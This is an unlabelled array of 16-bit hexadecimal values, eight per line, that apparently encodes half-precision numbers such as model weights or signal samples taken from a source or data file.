0x38d7, 0xbdc5, 0xbd08, 0x4439, 0x31c5, 0x3a9f, 0x3cb5, 0x3e62,
0xc10a, 0xb8bb, 0x2d32, 0x3c41, 0xb6ff, 0x26a2, 0xc0ad, 0x340a,
0xbfed, 0x3f33, 0x444f, 0xc49e, 0xbfd0, 0xc0e9, 0x4359, 0x400b,
0x389a, 0x3c75, 0x3e30, 0x30eb, 0x3c43, 0xbc2d, 0xbe1f, 0x402c,
0x42f0, 0x4057, 0xbf48, 0xbe14, 0x3a5b, 0xbfeb, 0xbe43, 0x36f2,
0xad0d, 0x3bc2, 0xc01f, 0x3d61, 0xbefc, 0xb68f, 0x3b27, 0xb371,
0x3fc8, 0xbe21, 0x3f1b, 0x3ec6, 0xbdb0, 0xb267, 0xbe79, 0xb621,
0x3ca6, 0xc1a4, 0xbb87, 0x46b8, 0xbcad, 0xc119, 0xb99d, 0x4049,
0x391f, 0x3b1d, 0x295e, 0xbf6e, 0x31ee, 0xc2b6, 0x4169, 0x3d40,
0x3c22, 0x3c03, 0xad2c, 0x4257, 0x435b, 0xbd02, 0x3044, 0xbb14,
0xbcb9, 0xc00d, 0xbefe, 0x42a8, 0x3de5, 0xc419, 0xa628, 0xadec,
0x3f68, 0xb763, 0x4480, 0x3d98, 0xc04f, 0xba87, 0x22ab, 0xc52e,
0x3db5, 0xc5a1, 0x3fcb, 0xc39e, 0xc2b4, 0xbc43, 0x4214, 0x41e3,
0x3cf1, 0xc20c, 0xb5e3, 0xc186, 0x30c4, 0x46cb, 0x40ef, 0xc13e,
0xbe7c, 0x3636, 0xc0ee, 0x3a9f, 0x3d44, 0xbe87, 0x403f, 0x3c07,
0xc217, 0xb29f, 0xc1e0, 0x3fba, 0xc098, 0x3b69, 0x41f4, 0x3c73,
0x390a, 0x444c, 0x3b47, 0x3dfa, 0xc00e, 0xb2dd, 0x3dd3, 0xc2b6,
0xbcda, 0x423d, 0x3f1b, 0xb3c0, 0xc04b, 0x382c, 0xc40b, 0x3706,
0xc4bb, 0x3a72, 0xc2ea, 0xc5a7, 0x4603, 0x33b9, 0xc48c, 0x3c8f,
0xc023, 0xc0a3, 0x430e, 0x3c85, 0xb2bc, 0xbcff, 0xb17d, 0x380b,
0x3c3a, 0xaeb0, 0x3ca6, 0x3d56, 0xc07f, 0xc14b, 0x3fcb, 0x3ebf,
0x39f9, 0xc276, 0x3cec, 0xbf5d, 0x3f08, 0x3ae9, 0xc322, 0xc241,
0x4498, 0x3f26, 0x3da8, 0xc20f, 0x44a4, 0x3fd6, 0x3bcf, 0x3eeb,
0x4253, 0x378e, 0xc0f6, 0x3cf4, 0xbf54, 0xb9d0, 0xc3ee, 0x2aac,
0x42ce, 0xb7e0, 0xc07f, 0x2e0b, 0xc17c, 0x3cb5, 0x2ed5, 0xc4cc,
0xbec7, 0x3c2f, 0xc045, 0xb4a0, 0x3e2b, 0x3d57, 0xc019, 0x3694,
0x394d, 0xbf48, 0x34a5, 0x42a5, 0xbfa4, 0x3011, 0xbde1, 0xbef6,
0x3edc, 0x39ab, 0xb9a1, 0xc22a, 0xbb7d, 0x4209, 0xc39c, 0x34b5,
0xc144, 0xb5ee, 0xc380, 0xc022, 0xc122, 0x379f, 0xb78b, 0x45da,
0x42fc, 0x3af7, 0xc023, 0xbb76, 0xc23e, 0xc2c7, 0x36bf, 0xc47f,
0xbcf4, 0xc1ac, 0x42ba, 0xac6a, 0xbf20, 0x3a3a, 0xc02c, 0x3885,
0x3be9, 0x3dcb, 0xbcc4, 0xbe15, 0x3bec, 0xc7e6, 0xb81b, 0xc078,
0x3cdc, 0xb819, 0x44b9, 0x3973, 0xc049, 0xc11f, 0xbd19, 0x3592,
0xc04c, 0x4070, 0x41fa, 0xc465, 0x3edc, 0x3ffd, 0xc235, 0x3dca,
0x3f87, 0xbcc9, 0xb563, 0xc432, 0xbe8e, 0xbd65, 0x4098, 0x3e40,
0x3e4b, 0xbeae, 0xb90b, 0x374b, 0xc0f8, 0x3fc6, 0x4406, 0xc402,
0x4464, 0x3984, 0xbdc4, 0x4456, 0xbc88, 0x3d0d, 0x3cd6, 0x4081,
0x33c4, 0x4248, 0xbd84, 0x3bcd, 0xc0db, 0x417b, 0x1fd7, 0x41b7,
0x4048, 0x3fbf, 0xb62a, 0x38b6, 0x4200, 0xa925, 0xc3f7, 0xc0e1,
0x3d36, 0xaab5, 0xb34f, 0xc2d5, 0x426e, 0xc50b, 0x28a6, 0x3c03,
0x4151, 0x4096, 0x3dd6, 0x3873, 0x4048, 0xa92c, 0x4092, 0xb506,
0x416a, 0x31c8, 0x3d37, 0x41a5, 0xc4bf, 0xc17c, 0xb4d9, 0xbb98,
0x267f, 0x3f0b, 0x30af, 0xc3e0, 0x3840, 0x30ea, 0x4339, 0x2c80,
0x403c, 0x3ae0, 0xb8f3, 0xbb37, 0x37de, 0xc297, 0x3f3e, 0xbbf3,
0x40e6, 0x3f91, 0xbfb0, 0x310e, 0x2d8c, 0x3cab, 0x39f3, 0x3ca8,
0xb641, 0x4445, 0x44f9, 0x3e31, 0x4062, 0xbf3b, 0x4028, 0x4153,
0x35c5, 0xb63f, 0xb0ce, 0xc0cd, 0xbd45, 0xc126, 0xbd4d, 0x44e0,
0xc3dc, 0xbe18, 0x42bc, 0x402d, 0x4271, 0x3dbd, 0x381a, 0x391e,
0x42da, 0xbd23, 0xbd97, 0x382c, 0xb2c9, 0xc3fc, 0x400d, 0x3b0f,
0xc2ab, 0x41ff, 0x4472, 0xc0c5, 0xb7e8, 0xb58d, 0x3ec4, 0x32d9,
0x3d2e, 0x42b9, 0x3e3a, 0x40c2, 0xc2ac, 0x4267, 0x365c, 0x3c42,
0xbc67, 0x3912, 0x3d5f, 0x431d, 0x3846, 0x3f38, 0x3dec, 0x3c6f,
0xb9de, 0xc143, 0xbebb, 0xb423, 0xc2b9, 0xba9a, 0xbc7f, 0xbd00,
0x3c78, 0xbebd, 0x391e, 0x2deb, 0x425e, 0xc4f6, 0x3c1b, 0x3b63,
0x3cd1, 0x40be, 0x4106, 0x4281, 0xc063, 0xbfc2, 0x4433, 0xc043,
0x3c58, 0xc08c, 0xbcd7, 0x349b, 0x403a, 0xb6c3, 0xbce4, 0xbaa4,
0x41c1, 0x3e37, 0xb624, 0x44a9, 0xbf84, 0xbcda, 0x357c, 0xb7b2,
0x43e4, 0x3a0d, 0x4213, 0x4127, 0xc752, 0x3d52, 0xbec0, 0x3a8c,
0x2130, 0x424e, 0x411f, 0x3aaf, 0x38be, 0xc098, 0xb522, 0x424b,
0xc2ab, 0x42d6, 0x45ad, 0xba95, 0xb4e0, 0xc218, 0x4043, 0xc113,
0x387b, 0x3d5a, 0x3d6f, 0xc42d, 0x3e87, 0xbd61, 0x3a6d, 0xc052,
0x3f76, 0x3e3d, 0x2e4a, 0x443f, 0x42c3, 0xb662, 0xbb8e, 0x36dd,
0x40b6, 0xc011, 0x33b1, 0xc3f5, 0x440e, 0x323a, 0xbec4, 0xba8a,
0xbfcf, 0xc056, 0x3edb, 0x2bb8, 0xbcba, 0x4113, 0x4463, 0xbf5b,
0x4120, 0x405e, 0xc10a, 0x35f6, 0x3d4e, 0xc3e7, 0x410b, 0xb9e0,
0x37bf, 0x3db9, 0x3d43, 0xb2a1, 0xbea0, 0x3594, 0xc29a, 0xc48b,
0xc0f7, 0x3613, 0xc112, 0xbe14, 0x3df7, 0xc136, 0x3fe0, 0xbf73,
0xbaaa, 0x4036, 0x3ff8, 0xbeff, 0xc09e, 0x3cd9, 0x427d, 0x433c,
0xb4b5, 0xc2d5, 0xc109, 0x4344, 0xb8b3, 0xc485, 0xc10d, 0x3813,
0xbed8, 0x4204, 0x42cb, 0x3a72, 0xc0a7, 0xb593, 0xbd32, 0x396d,
0x3d1a, 0x3c67, 0x38a0, 0x40e8, 0x3c6c, 0x3bae, 0x3075, 0xbd62,
0x3c5b, 0xaae6, 0xbb52, 0x3557, 0xc1f1, 0xac2a, 0xbdc4, 0xc433,
0x3e77, 0xb458, 0xbb35, 0x3f1c, 0x3e44, 0xc323, 0x4294, 0x3eb1,
0xc03f, 0x421d, 0x25e5, 0x3444, 0xc25b, 0xbcca, 0xaf9f, 0x3c9f,
0x354a, 0x401a, 0x437c, 0xbe1b, 0x32cb, 0x3ea8, 0xb904, 0xb717,
0x35e5, 0xc3ac, 0x3d2f, 0x3c05, 0xc2db, 0x3943, 0xc480, 0x4036,
0xc304, 0xb924, 0x44eb, 0xbd84, 0xbd5c, 0xc4fe, 0xc2a2, 0x4429,
0xc051, 0x2919, 0x410d, 0x43c9, 0x4174, 0xc471, 0x4569, 0xb9df,
0xb6c2, 0x3b82, 0xbfba, 0xc4c2, 0xb59e, 0xba8c, 0xc173, 0xb83f,
0x40e8, 0x3d4e, 0x4234, 0x4085, 0xbbc9, 0x3cb1, 0xc263, 0x3db0,
0x3f94, 0x4031, 0x4409, 0x42df, 0x3d36, 0x3f52, 0x3a78, 0xab57,
0xb1e5, 0x42d1, 0x40b6, 0x31b3, 0xbd95, 0x4197, 0x3859, 0x3954,
0x410e, 0x3bff, 0x40d2, 0xa8ed, 0xc38a, 0xac85, 0xbe06, 0x4084,
0x3f43, 0x3824, 0xc0f2, 0x41a3, 0xb66a, 0x3d4e, 0xbc06, 0x4341,
0xc199, 0x3e33, 0xbeee, 0x3ed0, 0xc444, 0xbf86, 0xbbf2, 0xc19a,
0xb16e, 0x3afa, 0x3e68, 0xbcb3, 0x2c17, 0xc052, 0xbc17, 0x41a8,
0xb4c7, 0xbc7c, 0x3f59, 0xb807, 0x4047, 0xc1ae, 0xb2f7, 0xc2de,
0x34d4, 0xa95f, 0x2ee9, 0x3058, 0x4266, 0xbc14, 0x3e56, 0xc2c4,
0x404b, 0xb865, 0xb41f, 0xc5c1, 0x3048, 0x458f, 0x4106, 0xb3be,
0xc01a, 0x3f83, 0xc07b, 0xbd3c, 0x3c54, 0x37c2, 0xb8ea, 0xa88b,
0x3c14, 0xbda9, 0xacb7, 0x3e4e, 0x4298, 0xc0b7, 0xb8a0, 0x402e,
0x3850, 0xbe86, 0x4055, 0x410b, 0x4356, 0x3961, 0xc197, 0x3e53,
0xc39a, 0x3c79, 0xbc34, 0x2efa, 0x391f, 0xc14c, 0x3798, 0xb789,
0xc239, 0xb9a6, 0xc045, 0x3434, 0xc084, 0xc061, 0x3ee8, 0xc08e,
0xbf63, 0x419f, 0x3cca, 0xbcd2, 0x3d5e, 0x3076, 0x42d5, 0xbdfa,
0x39ac, 0x314e, 0xb34c, 0x3da1, 0xc24a, 0x283d, 0x3b9c, 0x2fc2,
0xc300, 0xba79, 0x41bb, 0xb4e9, 0x44ff, 0x3f37, 0x4343, 0x3c47,
0x3f52, 0xbbdb, 0x3b78, 0x3e04, 0x4316, 0x3ed5, 0x40aa, 0x3400,
0x4016, 0x402b, 0x3e0e, 0x3cc3, 0x4343, 0xb4e0, 0xc462, 0xbec5,
0xc425, 0x4407, 0x4198, 0xb13c, 0x4099, 0xc0a5, 0xbac6, 0xb0ec,
0x3f77, 0xc231, 0xc455, 0x29bd, 0x4782, 0xbd18, 0x41ba, 0xc01c,
0xab41, 0x4046, 0xbf21, 0x34ee, 0x3968, 0x41a8, 0x4416, 0xc235,
0x26d4, 0x39b0, 0xb27d, 0xbb69, 0x3a5c, 0xc398, 0xb518, 0x39ce,
0x3cbb, 0xbcad, 0x3c3e, 0x40cf, 0x40ab, 0xc439, 0x3040, 0xc032,
0xc368, 0xc2b6, 0xc29f, 0xc31b, 0x3f23, 0xbb43, 0xbbb5, 0xc036,
0x3c58, 0xb8eb, 0xc466, 0xbae9, 0x3fee, 0xbdeb, 0x426d, 0x3c8a,
0xc48d, 0xbefd, 0xbc8c, 0xac70, 0xc3ad, 0xac51, 0x3c8f, 0xbdea,
0xba36, 0x361c, 0x3bb2, 0xbd37, 0x334a, 0x416d, 0x39ce, 0x3cba,
0xa24d, 0xc14b, 0x359c, 0x4703, 0x312a, 0xb9b0, 0xbafa, 0xbfb9,
0xc124, 0xc00b, 0x4194, 0x3ff8, 0x3756, 0x41f8, 0xbba0, 0x2cd8,
0x401d, 0xbe33, 0xc15c, 0x3c84, 0xb21d, 0x3c16, 0xbc74, 0xc126,
0xae10, 0xb66b, 0xbe3f, 0xbf03, 0x3e49, 0xbf14, 0x3fa7, 0xbe2e,
0xb00f, 0x3952, 0x3fe5, 0xb630, 0x420e, 0x3bff, 0xc1e2, 0xc06d,
0xc1e6, 0xa940, 0x4032, 0xbed0, 0xbd87, 0x3ce5, 0xc160, 0x4362,
0x3e6e, 0xc5b7, 0xc4fd, 0xb829, 0xbf3b, 0xc10d, 0x41ef, 0x3fe6,
0xb8fc, 0xbda1, 0xb79f, 0xba4b, 0xc59e, 0xbd52, 0x38ee, 0x4079,
0x3b16, 0x4114, 0xbc0c, 0x402b, 0x3f60, 0xbc8b, 0x3edb, 0xbc65,
0x4040, 0xaeef, 0xbae8, 0xb5f3, 0x41c8, 0x321d, 0x38ed, 0x4078,
0x3e55, 0xbfe0, 0xbe99, 0xb5e6, 0x40d9, 0xc263, 0x4307, 0xbdf7,
0xbc48, 0x3dd1, 0xc089, 0xc029, 0xb718, 0xc0b9, 0x3b0b, 0xc212,
0xc52a, 0xbd14, 0xb978, 0xc15e, 0xc2bf, 0xc45e, 0xc3ea, 0x431d,
0x44c5, 0x4114, 0x3c4d, 0x3523, 0x3a0d, 0xb5df, 0xb67b, 0x4110,
0xac03, 0x3c61, 0xb04a, 0xb623, 0xb992, 0x3a2a, 0xb996, 0x42a5,
0x3984, 0xbcd3, 0xc0c2, 0x4559, 0x431b, 0x40e2, 0xb8dd, 0x41b4,
0xc22a, 0x40d2, 0xc14c, 0x3da9, 0x4075, 0xc45a, 0xc149, 0x4442,
0xc2f7, 0xbf78, 0xbea2, 0xc178, 0x372e, 0x36f9, 0x3662, 0xa1c1,
0xac51, 0xc446, 0x419c, 0xbe4d, 0x41d4, 0xbd69, 0xbf4b, 0x4219,
0x4180, 0x3867, 0x2f79, 0xb897, 0x3d87, 0xb9f4, 0x3bd8, 0xc381,
0x4360, 0x2f27, 0xbe96, 0x3dce, 0xbcd4, 0xc120, 0x38fb, 0xb526,
0x432d, 0x32db, 0x3f7e, 0x4076, 0x43ac, 0xbc97, 0xb566, 0xbd11,
0xb098, 0xb825, 0xc3fa, 0x3a4d, 0xb047, 0x4199, 0xaccc, 0x4015,
0x42e6, 0xba8e, 0xbca5, 0xc245, 0x3c31, 0xc10f, 0xc088, 0x354d,
0x34bb, 0x40dd, 0x40f7, 0xc3b5, 0xc040, 0xbec4, 0x3d61, 0xc1ad,
0x3541, 0xbc38, 0x448f, 0x447e, 0xc135, 0xc2b7, 0x3dc4, 0x43bf,
0x3ac8, 0xbbee, 0xb961, 0x4268, 0xbd54, 0x3ed0, 0xbc34, 0x4429,
0xc106, 0xbb45, 0x3df4, 0xbd67, 0xc075, 0x3eae, 0xc682, 0x3fbf,
0x3360, 0x42d5, 0xb955, 0x3ce6, 0xbfca, 0x3f7d, 0x3938, 0x41d0,
0x4240, 0xb09e, 0xb8eb, 0xbce5, 0xbe30, 0xc5b2, 0x40be, 0xbfe7,
0xc1d4, 0xb2a2, 0xc32a, 0xa85a, 0xbc91, 0xc0fa, 0xc446, 0xbda3,
0xbe29, 0xc05b, 0xb485, 0xc0d0, 0x3bba, 0x3bf2, 0xb8ba, 0x3d04,
0xbb96, 0xc29b, 0xbce6, 0xb852, 0xc40d, 0x38e7, 0x3daa, 0xc246,
0xc280, 0xbada, 0x33a2, 0xb826, 0xbffc, 0x3cbd, 0xc0c3, 0xc0c7,
0xad47, 0xc347, 0x3c82, 0xbeac, 0xb5f3, 0x3fdc, 0x4477, 0xc1fb,
0x4442, 0xc4c5, 0x3e42, 0xbe14, 0x39a7, 0xb7d1, 0xc1a1, 0xb684,
0x2cd6, 0x3cc6, 0xc397, 0xbdba, 0xb607, 0x4122, 0x4027, 0x42ff,
0x318e, 0xb888, 0x436a, 0x38a2, 0x4153, 0xbcd9, 0x4021, 0xb4a2,
0x4499, 0xb918, 0x36b9, 0x3404, 0x3f0a, 0xb070, 0x4064, 0xb4d4,
0x3701, 0x34f6, 0xbec2, 0xb17f, 0xc023, 0xbbca, 0xbcf7, 0x3c85,
0xb9ab, 0xbfe5, 0x3936, 0xbeec, 0x42da, 0xb3a1, 0xafdc, 0xc28b,
0xbdb4, 0xb51f, 0x3ec3, 0x432c, 0xb714, 0x4206, 0xc031, 0x44b5,
0x2fc7, 0x4050, 0xbbda, 0xbe6c, 0x3b3a, 0xbd1d, 0xc194, 0x4457,
0xb7e7, 0xb1ab, 0xb494, 0xb9f4, 0xbabc, 0x40a5, 0xb832, 0x39a4,
0x382e, 0xb2fa, 0xbe5a, 0xba9f, 0x3f99, 0xbfc0, 0xbdf3, 0x43b0,
0x3cab, 0x3849, 0xc57f, 0xb47e, 0xbde2, 0x3da2, 0x36ab, 0x38c6,
0x3bd4, 0x37f2, 0xc2ed, 0xc15f, 0x4460, 0x3e4f, 0xc321, 0x3503,
0xad6b, 0x38df, 0xbaaf, 0x38c0, 0xbd6f, 0x2c0d, 0x438b, 0x2f30,
0xc418, 0xba8f, 0xba2d, 0xc1ab, 0xb6c3, 0xbe31, 0xbe8a, 0x3c6d,
0x40c4, 0x3e70, 0x3a3d, 0xc32e, 0xbb97, 0xb193, 0xb4c4, 0x413b,
0x3b73, 0x39bd, 0xb7b6, 0xbdd1, 0x4101, 0x3c1c, 0xbbf6, 0x38b0,
0xba52, 0xb79c, 0xbe88, 0x4056, 0x3246, 0x39e5, 0x3f22, 0x4049,
0xb898, 0xc435, 0xc183, 0x40aa, 0x3eb4, 0x302c, 0xbc4c, 0x38b5,
0x40d2, 0xbb08, 0x4059, 0x41ff, 0x3abe, 0x39b9, 0xbbac, 0xc0b0,
0xb9b9, 0xc0fe, 0x4131, 0x3ecb, 0xb61c, 0x3ea8, 0xb7e1, 0xc0c7,
0xbc9d, 0xb666, 0x4153, 0x38bf, 0x3cca, 0x4285, 0x34a5, 0xac1f,
0x42b3, 0x3d67, 0x3af1, 0x3579, 0x3b93, 0x3e11, 0xc277, 0x4063,
0xbaeb, 0xb75a, 0xb4de, 0xb7c8, 0xc286, 0xba60, 0x3ed9, 0xb98d,
0x2f72, 0xba55, 0x3373, 0x3e78, 0x3cf9, 0x385f, 0xb908, 0xc187,
0x433a, 0x3ab6, 0x4292, 0x2254, 0x3588, 0xc007, 0x345a, 0x4045,
0x3e62, 0x4145, 0x4003, 0x4340, 0xc0ca, 0x3113, 0x3a38, 0xc12d,
0xbbc1, 0xb69b, 0xb9fe, 0xc2c8, 0xbc81, 0xc43b, 0x3e2d, 0x3a99,
0x401b, 0x3e7d, 0x3ab5, 0x376a, 0xbfee, 0x339c, 0x440f, 0x3fac,
0x3939, 0x3f60, 0x36f1, 0x3e46, 0xbc17, 0x4184, 0xbe64, 0xbcb2,
0x4171, 0xb8a6, 0xbce8, 0xc095, 0xb0d5, 0x32a8, 0x385a, 0x3ecb,
0xbc5e, 0xbb36, 0xbc5e, 0xc31a, 0xc277, 0x3f8a, 0xb5a2, 0x2b83,
0xbed6, 0x2f69, 0x40e8, 0xc236, 0xc19c, 0xb991, 0xc178, 0x3a25,
0x4443, 0xbea0, 0xc1e5, 0x3b46, 0xc35a, 0xab0c, 0xbd94, 0x3bc6,
0x3ce5, 0xb8e0, 0xb304, 0xc337, 0xc2fb, 0xb92a, 0xbf1b, 0xbc6c,
0xc4a5, 0x3d2f, 0x342f, 0x4131, 0xbf22, 0xb6fb, 0xc51d, 0x3584,
0x3e53, 0xb637, 0x450e, 0x43ac, 0x3f70, 0x3873, 0xbc09, 0x41d8,
0xb835, 0xc0fa, 0x3cfd, 0x443f, 0x41ff, 0xb771, 0x42bc, 0x4356,
0xba27, 0xb4c5, 0xc2a8, 0x3ebb, 0xbc5d, 0xbd62, 0xbc24, 0x2d44,
0x3e2e, 0xc11a, 0x3980, 0xabe4, 0xc0f0, 0x45bd, 0xba4e, 0xb56f,
0xba65, 0xc158, 0xbf0b, 0x31d9, 0x430c, 0xbdd5, 0x4478, 0x3f7f,
0x3e57, 0xc15e, 0x3ced, 0xb5a4, 0xb8d8, 0xb8b0, 0x41e5, 0xbefa,
0xb3d3, 0x2fd7, 0xbc37, 0xc5e3, 0x448a, 0xc3d9, 0xc196, 0xbad4,
0xb4e6, 0xc4d2, 0x41dc, 0x2c31, 0x3a72, 0xc186, 0xc63e, 0x3d48,
0x3a19, 0x35a8, 0xbc30, 0xbbca, 0x4238, 0xbde8, 0x4196, 0x3df5,
0xbde5, 0xaf6f, 0xc074, 0xb806, 0xbdf0, 0x4161, 0x3acc, 0x4325,
0xaad1, 0xc1d9, 0x4329, 0xb52e, 0xbb54, 0xbe09, 0x40ce, 0x401d,
0x3ec5, 0xc499, 0xb33f, 0x3606, 0xc4d1, 0x325d, 0xc0c5, 0x3686,
0x3943, 0x40e9, 0x3ac1, 0xc1d6, 0xb81e, 0xb552, 0xc0b6, 0x3b91,
0xbea6, 0xbcda, 0x4407, 0xc1bc, 0x34a6, 0x3b9a, 0xb6e8, 0x40df,
0x4040, 0xc4e9, 0xbc9f, 0x2262, 0xbf1c, 0xbef1, 0xc419, 0xb8d5,
0xc4c1, 0xc0d2, 0xbe90, 0xbaba, 0xb89d, 0xb40a, 0xc3bb, 0x40ee,
0x3e27, 0x407e, 0xc1e6, 0xbdb9, 0xba1b, 0xb87e, 0x4177, 0x4350,
0xc2f9, 0x3cfb, 0x2303, 0x373f, 0x4231, 0x3f78, 0xc334, 0xc465,
0x458a, 0xbd83, 0x384a, 0xc0e0, 0xc061, 0x379a, 0xc554, 0x4189,
0x388b, 0xbff6, 0xc04b, 0xbc85, 0x4083, 0xa425, 0x3ff0, 0xc330,
0x3e30, 0xb4b6, 0xb965, 0x36d9, 0x37c3, 0x3a0f, 0x41b0, 0xbb0a,
0x4095, 0x406a, 0x446a, 0x3c6d, 0xb65e, 0x409b, 0xbae7, 0xc10b,
0x4288, 0xc1ec, 0x37da, 0xc298, 0xb6ef, 0xb8f9, 0xbff5, 0xb504,
0x2a76, 0x3339, 0x35bb, 0x44cf, 0xb65b, 0xbe09, 0x32a8, 0xbd9f,
0xb8d9, 0xb91b, 0x3d8e, 0xbd73, 0x37b4, 0x3a40, 0x41e6, 0xc001,
0x2eb5, 0xc175, 0x4094, 0xbdbb, 0x3e77, 0x4078, 0xbd20, 0xaed3,
0x455e, 0x42a9, 0xbe25, 0x445a, 0x3c9f, 0xc14a, 0x3c34, 0xb538,
0xbd73, 0xb951, 0xb15a, 0x379c, 0xbf49, 0x36b2, 0xc00e, 0x38ef,
0x3f68, 0x3f65, 0xc03c, 0x3904, 0x2eff, 0x365c, 0xbf04, 0xb11a,
0x4407, 0x268c, 0xbfdc, 0x418c, 0xbc19, 0xba79, 0xbc31, 0x3ce0,
0xbd7d, 0x3e59, 0xbc32, 0x418b, 0x39b0, 0x338c, 0xb7dd, 0xba3e,
0xc1bb, 0xc113, 0xc251, 0x44e3, 0xbbec, 0xbf5a, 0x455d, 0xc572,
0x3d31, 0xc478, 0x4623, 0x3c24, 0xc17d, 0x4017, 0xc031, 0xa561,
0xb937, 0x37b6, 0x4626, 0x38e6, 0xb774, 0xb654, 0x3e53, 0xbad7,
0x43cc, 0x361f, 0xbfdc, 0xc306, 0xbbe4, 0x4000, 0x3d84, 0x3a39,
0x3e79, 0xbb9c, 0xb0a9, 0x3cc6, 0x3a98, 0xbdd8, 0x3c13, 0xc1da,
0xb565, 0xbdd0, 0xbfae, 0xbc2d, 0xc0ac, 0xbe80, 0xb9dd, 0x2ffe,
0xc287, 0xba36, 0xc2b0, 0xb570, 0xba55, 0xc1fb, 0x4227, 0xc30d,
0x3d7f, 0xc34c, 0x416f, 0xba34, 0xbd41, 0xc137, 0x3a37, 0x391c,
0x3535, 0x42ac, 0x3df6, 0xbf1b, 0xbd4e, 0xb7fc, 0x3bc5, 0x412e,
0xc0c4, 0x3c5b, 0x3071, 0xbeb4, 0x4064, 0xc071, 0xc1cd, 0x3e41,
0x3cf6, 0xbd0f, 0x41ab, 0x43d2, 0xb463, 0x42f6, 0xc217, 0x3e0a,
0xb2a9, 0xbe4d, 0x41ba, 0xc4c2, 0xb821, 0xc4ff, 0x9c05, 0xbc3b,
0x3faf, 0xc2d3, 0xb8eb, 0xb476, 0xbb0d, 0x4633, 0x3a11, 0x2bbd,
0x40fc, 0xb146, 0x3ad6, 0x36cf, 0xc34e, 0x3bd8, 0x3b50, 0xc194,
0xbfb2, 0x4200, 0xbe40, 0x39c9, 0x3c55, 0x3d11, 0xbdb1, 0xbaaf,
0x445c, 0xbfb5, 0x2e7c, 0x3d3d, 0x388a, 0xc00f, 0x3ff0, 0x2cfa,
0xc00b, 0xbc72, 0x3c98, 0x383f, 0xbbe0, 0x38ea, 0xbd36, 0x3d0a,
0xb1ef, 0x3b47, 0x4424, 0x3bf6, 0xc055, 0x43d4, 0x38c5, 0xbe65,
0x396b, 0x384d, 0x40e8, 0xbec7, 0x44bd, 0xbc93, 0x38d1, 0xb292,
0xbabd, 0xbe28, 0x345a, 0x4106, 0x3d82, 0x3444, 0xb876, 0xb1da,
0xb41c, 0xc25f, 0xbfac, 0x3418, 0xbda8, 0xc16c, 0xbb2c, 0x402b,
0xc164, 0x3cad, 0x4168, 0xb8d7, 0xbb45, 0x2e5d, 0x3a84, 0xbeed,
0x371f, 0xc090, 0xc019, 0x3d39, 0x3c68, 0x3781, 0xb709, 0x3f4e,
0xc0ce, 0xbca5, 0xbc69, 0xbbab, 0x442b, 0x38e6, 0xbc49, 0xc097,
0xbbbc, 0x41c2, 0x4021, 0xc2bd, 0x4317, 0x3ca0, 0x3e64, 0x4195,
0xc146, 0x3e98, 0x3d30, 0x34c4, 0x307d, 0xbc08, 0xbe40, 0xb91b,
0xb297, 0xb8ad, 0x4066, 0x4096, 0xbd68, 0xb78e, 0x3de6, 0x3631,
0x4102, 0xba78, 0xc0dd, 0xbd81, 0xb4ad, 0xb7f0, 0x3d0b, 0x335c,
0x40af, 0xc021, 0x41fb, 0x3da5, 0xba77, 0x3b55, 0xb521, 0x3129,
0x2fbe, 0x3b6f, 0xb463, 0xb979, 0xb4db, 0xc271, 0x35ad, 0xbd38,
0x41bf, 0xc0ca, 0x4296, 0xc6c8, 0xc245, 0xbea0, 0xc0e1, 0x3803,
0xb406, 0x43b9, 0x36c8, 0x38ac, 0x3c6d, 0x38c1, 0x3167, 0xc4da,
0xbdc2, 0x3f9b, 0x41fe, 0x3f33, 0xb8e6, 0x3d54, 0xbfc1, 0x3e7c,
0xbcbf, 0x3d67, 0x2cf0, 0xb49e, 0x37d3, 0xbdbe, 0x3955, 0x3a5e,
0xc019, 0xbffc, 0xc45d, 0x401c, 0xc41e, 0xc2c5, 0xc38f, 0x417e,
0x4399, 0x37e9, 0x3d0a, 0xc1a1, 0x34c9, 0x32d7, 0x44db, 0x4418,
0xc3a5, 0xbc70, 0x40e5, 0x3f17, 0x40a4, 0x3d79, 0x4048, 0xbb5d,
0xbdd6, 0x429c, 0x3f9f, 0x3927, 0x4152, 0xb3f2, 0x3c88, 0xc224,
0xc16f, 0x4443, 0x3fb6, 0xac06, 0xbd90, 0x3fa3, 0xbfb0, 0xc110,
0x4068, 0x42c5, 0xc104, 0xbf47, 0x4336, 0x3cc5, 0xb47e, 0x39d0,
0x360b, 0x30e2, 0xbb4d, 0x40fe, 0xbc81, 0xbdec, 0x3df9, 0xc3b0,
0xb9db, 0x3da8, 0xbf10, 0xc472, 0xc263, 0x3d0c, 0xc448, 0x3d9f,
0x426e, 0x3f8e, 0xc4ff, 0x4035, 0xbd87, 0x3977, 0xb7e6, 0xc494,
0xc16c, 0x3e6f, 0x400c, 0xc326, 0x367d, 0xc42e, 0xb7d9, 0x3da4,
0x3bb3, 0xb98e, 0xbd85, 0xbabd, 0x3e85, 0xbc2e, 0xc412, 0x3b55,
0xbe84, 0xc586, 0xbe1f, 0xc091, 0x45fe, 0xc1e8, 0x4488, 0xb8cc,
0x37f7, 0x39a2, 0xbeac, 0x32d7, 0x4514, 0x30e6, 0x40f5, 0x3af8,
0xb9a4, 0xc054, 0xbf58, 0x3d38, 0x4328, 0x441f, 0x408a, 0x38b8,
0x3cc9, 0x41aa, 0xc1b5, 0xc703, 0x383d, 0x38ea, 0xbca1, 0xb79b,
0xbf65, 0x3bb7, 0xc064, 0xc4a1, 0xc31c, 0x35e2, 0x3520, 0x400c,
0x42a7, 0x3158, 0xc2a9, 0x446f, 0x3d62, 0xba14, 0x3c58, 0xbda4,
0xb4b1, 0x3e56, 0xbe8e, 0x40f7, 0x3a2f, 0x3ba9, 0x3d32, 0xb8b5,
0xbe22, 0x4048, 0xbca6, 0x340e, 0xb5f3, 0x365c, 0xc1b5, 0x3d0d,
0xc107, 0xbae4, 0x34cf, 0x3dd5, 0x4003, 0xbe06, 0x44a6, 0xba2d,
0x2e4a, 0xb1da, 0x4446, 0xc243, 0x3d7c, 0x3af8, 0x3c2d, 0xbef6,
0x41c3, 0xbd7a, 0x3092, 0xbd5a, 0x3f5c, 0x423f, 0x41f1, 0x3839,
0xc0df, 0xbfaf, 0xc00a, 0xc1b7, 0xb409, 0xa6b1, 0xba96, 0x42b6,
0xc18c, 0xc152, 0xbc1a, 0xb09a, 0x4053, 0x3ef9, 0x428e, 0x3d0c,
0x3e33, 0xb833, 0x38b1, 0x2b0f, 0x3dc7, 0xbccc, 0xbb26, 0x3f25,
0xba85, 0xbd12, 0xc270, 0x4221, 0xb370, 0xbe62, 0x33e4, 0x3964,
0xb5b8, 0xb4f6, 0x3d1b, 0xb129, 0xc11a, 0xc633, 0x418d, 0xb84d,
